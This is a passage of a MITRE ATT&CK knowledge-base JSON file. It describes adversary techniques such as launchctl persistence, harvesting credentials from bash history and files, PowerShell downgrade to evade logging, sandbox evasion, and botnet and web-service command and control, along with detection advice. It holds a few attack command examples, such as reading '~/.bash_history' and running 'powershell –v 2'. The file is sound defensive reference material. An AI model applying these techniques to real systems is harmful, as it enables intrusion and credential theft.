supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line <code>launchctl</code> command. Plist files are located in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code> folders. \n\nMonitor command-line execution of the <code>launchctl</code> command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to <code>/tmp</code> and <code>/Shared</code> folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Service: Service Creation", "File: File Modification"], "x_mitre_permissions_required": ["User", "root"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3", "created": "2020-10-01T00:58:35.269Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1584.005", "url": "https://attack.mitre.org/techniques/T1584/005"}, {"source_name": "Dell Dridex Oct 2015", "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019."}, {"source_name": "Imperva DDoS for Hire", "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/", "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."}, {"source_name": "Norton Botnet", "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html", "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", "modified": "2022-04-19T15:55:58.319Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Botnet", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_is_subtechnique": true, "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", "created": "2020-10-20T00:09:33.072Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1059.008", "url": "https://attack.mitre.org/techniques/T1059/008"}, {"source_name": "Cisco IOS Software Integrity Assurance - Command History", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."}, {"source_name": "Cisco Synful Knock Evolution", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)", "modified": "2022-04-19T20:28:09.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Device CLI", "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution"], "x_mitre_remote_support": true, "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3", "type": "attack-pattern", "created": "2020-02-04T13:02:11.685Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1552.003", "url": "https://attack.mitre.org/techniques/T1552/003"}, {"url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", "source_name": "External to DA, the OS X Way"}], "modified": "2022-03-08T21:34:44.728Z", "name": "Bash History", "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Access", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"modified": "2023-10-03T16:40:15.445Z", "name": "Downgrade Attack", "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Mayuresh Dani, Qualys", "Daniel Feichter, @VirtualAllocEx, Infosec Tirol", "Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: <code>powershell \u2013v 2</code>). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\n\nMonitor for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\n\nMonitor network data to detect cases where HTTP is used instead of HTTPS.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Process: Process Metadata"], "type": "attack-pattern", "id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497", "created": "2021-10-08T14:06:28.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/010", "external_id": "T1562.010"}, {"source_name": "Crowdstrike Downgrade", "description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.", "url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"}, {"source_name": "Targeted SSL Stripping Attacks Are Real", "description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.", "url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"}, {"source_name": "CrowdStrike BGH Ransomware 2021", "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.", "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"}, {"source_name": "att_def_ps_logging", "description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.", "url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"}, {"source_name": "inv_ps_attacks", "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.", "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"}, {"source_name": "Mandiant BYOL 2018", "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.", "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"}, {"source_name": "Praetorian TLS Downgrade Attack 2014", "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.", "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Csaba Fitzl @theevilbit of Offensive Security"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19", "created": "2021-10-12T06:45:36.763Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1559.003", "url": "https://attack.mitre.org/techniques/T1559/003"}, {"source_name": "creatingXPCservices", "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1", "description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022."}, {"source_name": "Designing Daemons Apple Dev", "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html", "description": "Apple. (n.d.). Retrieved October 12, 2021."}, {"source_name": "CVMServer Vuln", "url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html", "description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021."}, {"source_name": "Learn XPC Exploitation", "url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/", "description": "Wojciech Regu\u0142a. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "modified": "2022-04-20T22:54:47.164Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "XPC Services", "x_mitre_detection": "", "kill_chain_phases": [{"phase_name": "execution", "kill_chain_name": "mitre-attack"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Process: Process Access"], "x_mitre_remote_support": false, "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Deloitte Threat Library Team", "Sunny Neo"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "type": "attack-pattern", "created": "2019-04-17T22:22:24.505Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1497", "url": "https://attack.mitre.org/techniques/T1497"}, {"source_name": "Deloitte Environment Awareness", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."}, {"source_name": "Unit 42 Pirpi July 2015", "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/", "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019."}], "modified": "2021-10-18T14:57:48.989Z", "name": "Virtualization/Sandbox Evasion", "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "x_mitre_version": "1.3", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Host forensic analysis", "Signature-based detection", "Static File Analysis"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Anastasios Pingios"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "type": "attack-pattern", "created": "2017-05-31T21:31:13.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1102", "url": "https://attack.mitre.org/techniques/T1102"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-26T23:26:10.297Z", "name": "Web Service", "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-15T21:33:00.213Z", "name": "Credentials In Files", "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Rory McCune, Aqua Security", "Jay Chen, Palo Alto Networks", "Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee", "Microsoft Threat Intelligence Center (MSTIC)"], "x_mitre_deprecated": false, "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS", "Containers"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "File: File Access"], "x_mitre_system_requirements": ["Access to files"], "type": "attack-pattern", "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "created": "2020-02-04T12:52:13.006Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1552/001", "external_id": "T1552.001"}, {"source_name": "CG 2014", "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.", "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"}, {"source_name": "Unit 42 Hildegard Malware", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"}, {"source_name": "Unit 42 Unsecured Docker Daemons", "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"}, {"source_name": "Specter Ops - Cloud Credential Storage", "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.", "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"}, {"source_name": "SRD GPP", "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1", "type": "attack-pattern", "created": "2020-03-11T14:56:34.154Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1568.003", "url": "https://attack.mitre.org/techniques/T1568/003"}, {"url": "http://www.crowdstrike.com/blog/whois-numbered-panda/", "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", "source_name": "Meyers Numbered Panda"}, {"url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.", "source_name": "Moran 2014"}, {"source_name": "Rapid7G20Espionage", "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.", "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"}], "modified": "2020-03-27T20:54:28.287Z", "name": "DNS Calculation", "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["@ionstorm", "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", "Ricardo Dias"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "type": "attack-pattern", "created": "2020-01-23T19:32:49.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.005", "url": "https://attack.mitre.org/techniques/T1218/005"}, {"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}, {"source_name": "Red Canary HTA Abuse Part Deux", "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", "source_name": "FireEye Attacks Leveraging HTA"}, {"description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", "source_name": "Airbus Security Kovter Analysis", "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "source_name": "FireEye FIN7 April 2017"}, {"source_name": "Wikipedia HTML Application", "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", "url": "https://en.wikipedia.org/wiki/HTML_Application"}, {"source_name": "MSDN HTML Applications", "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", "url": "https://msdn.microsoft.com/library/ms536471.aspx"}, {"source_name": "LOLBAS Mshta", "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."}], "modified": "2022-03-11T20:38:28.802Z", "name": "Mshta", "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: 